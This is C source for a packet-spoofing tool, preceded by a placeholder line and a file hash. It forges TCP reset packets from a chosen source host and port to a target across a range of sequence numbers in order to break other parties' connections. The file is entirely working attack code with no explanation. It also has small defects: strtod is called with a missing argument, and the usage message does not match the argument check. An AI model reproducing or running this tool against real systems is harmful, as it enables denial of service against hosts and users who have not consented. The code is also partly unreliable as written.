No information is available for this file.
c358c1545d32b5aa34afd3423a7844fd98f33619c1407472aa527b30c53552b6
#include "tcpip.h"
/* #include "/usr/src/see/srvent.h" */
void sendpack(char *fromhost, int fromport, char *tohost, int toport,
u_long seqnz) {
char *packet;
char *tcppacket;
char *sendme;
static struct sockaddr_in local, remote;
static int sock = 0;
if (!sock) {
resolve_address((struct sockaddr *)&local, fromhost, fromport);
resolve_address((struct sockaddr *)&remote, tohost, toport);
sock = socket(AF_INET, SOCK_RAW, 255);
if (sock == -1) { perror("Getting raw socket"); exit(-1); }
}
tcppacket = create_tcp(local.sin_addr.s_addr, remote.sin_addr.s_addr,
local.sin_port, remote.sin_port, seqnz, 0, TH_RST,
NULL, 0);
packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr,
6, 24, 4, tcppacket, 20);
{
int result;
result = sendto(sock, packet, 40, 0,
(struct sockaddr *)&remote, sizeof(remote));
if (result != 40) { perror("sending packet"); }
}
}
main(int argc, char **argv) {
double pert;
if (argc<7) {
printf("usage: %s <from host> <from port> <to host> <to port> <sequence>\n", argv[0]);
exit(-1);
}
for ( pert = strtod(argv[5]) ; pert < strtod(argv[6] ); pert++ ) {
#ifdef SERVPORTIE
printf("fake: %s.%s --> %s.%s %ld\n", argv[1], tcp_servport(atoi(argv[2])),
argv[3], tcp_servport(atoi(argv[4])), pert);
#else
printf("fake: %s.%d --> %s.%d %ld\n", argv[1], atoi(argv[2]), argv[3],
atoi(argv[4]), pert);
#endif
sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), pert);
}
}